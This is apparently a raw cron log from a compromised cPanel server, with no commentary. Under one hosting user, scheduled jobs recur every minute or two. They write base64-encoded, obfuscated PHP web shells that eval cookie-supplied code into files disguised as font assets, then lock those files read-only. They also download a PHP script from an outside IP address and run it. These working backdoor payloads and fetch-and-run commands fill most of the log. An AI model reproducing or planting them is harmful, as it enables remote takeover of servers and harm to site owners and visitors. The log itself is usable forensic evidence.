Sep  5 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21743]: starting 0anacron
Sep  5 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21760]: finished 0anacron
Sep  5 17:02:01 ip-184-168-122-23 CROND[21846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:02:01 ip-184-168-122-23 CROND[21847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:02:01 ip-184-168-122-23 CROND[21849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:02:01 ip-184-168-122-23 CROND[21848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:02:01 ip-184-168-122-23 CROND[21850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:03:02 ip-184-168-122-23 CROND[21939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:03:02 ip-184-168-122-23 CROND[21941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:03:02 ip-184-168-122-23 CROND[21940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:03:02 ip-184-168-122-23 CROND[21943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:04:01 ip-184-168-122-23 CROND[22034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:04:01 ip-184-168-122-23 CROND[22032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:04:01 ip-184-168-122-23 CROND[22036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:04:01 ip-184-168-122-23 CROND[22033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:04:01 ip-184-168-122-23 CROND[22035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:05:01 ip-184-168-122-23 CROND[22134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:05:01 ip-184-168-122-23 CROND[22136]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:05:01 ip-184-168-122-23 CROND[22137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:05:01 ip-184-168-122-23 CROND[22140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:05:01 ip-184-168-122-23 CROND[22141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:05:01 ip-184-168-122-23 CROND[22138]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:05:01 ip-184-168-122-23 CROND[22139]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 17:06:01 ip-184-168-122-23 CROND[22318]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:06:01 ip-184-168-122-23 CROND[22320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:06:01 ip-184-168-122-23 CROND[22321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:06:01 ip-184-168-122-23 CROND[22323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:06:01 ip-184-168-122-23 CROND[22322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:07:01 ip-184-168-122-23 CROND[22410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:07:01 ip-184-168-122-23 CROND[22412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:07:01 ip-184-168-122-23 CROND[22413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:07:01 ip-184-168-122-23 CROND[22411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:08:01 ip-184-168-122-23 CROND[22501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:08:01 ip-184-168-122-23 CROND[22503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:08:01 ip-184-168-122-23 CROND[22504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:08:01 ip-184-168-122-23 CROND[22505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:08:01 ip-184-168-122-23 CROND[22506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:09:01 ip-184-168-122-23 CROND[22636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:09:01 ip-184-168-122-23 CROND[22635]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 17:09:01 ip-184-168-122-23 CROND[22640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:09:01 ip-184-168-122-23 CROND[22639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:09:01 ip-184-168-122-23 CROND[22641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:10:01 ip-184-168-122-23 CROND[22770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:10:01 ip-184-168-122-23 CROND[22771]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:10:01 ip-184-168-122-23 CROND[22774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:10:01 ip-184-168-122-23 CROND[22772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:10:01 ip-184-168-122-23 CROND[22781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:10:01 ip-184-168-122-23 CROND[22778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:10:01 ip-184-168-122-23 CROND[22779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:10:01 ip-184-168-122-23 CROND[22780]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:11:01 ip-184-168-122-23 CROND[22979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:11:01 ip-184-168-122-23 CROND[22978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:11:01 ip-184-168-122-23 CROND[22980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:11:01 ip-184-168-122-23 CROND[22981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:12:01 ip-184-168-122-23 CROND[23072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:12:01 ip-184-168-122-23 CROND[23074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:12:01 ip-184-168-122-23 CROND[23075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:12:01 ip-184-168-122-23 CROND[23077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:12:01 ip-184-168-122-23 CROND[23076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:13:01 ip-184-168-122-23 CROND[23155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:13:01 ip-184-168-122-23 CROND[23156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:13:01 ip-184-168-122-23 CROND[23158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:13:01 ip-184-168-122-23 CROND[23157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:14:01 ip-184-168-122-23 CROND[23235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
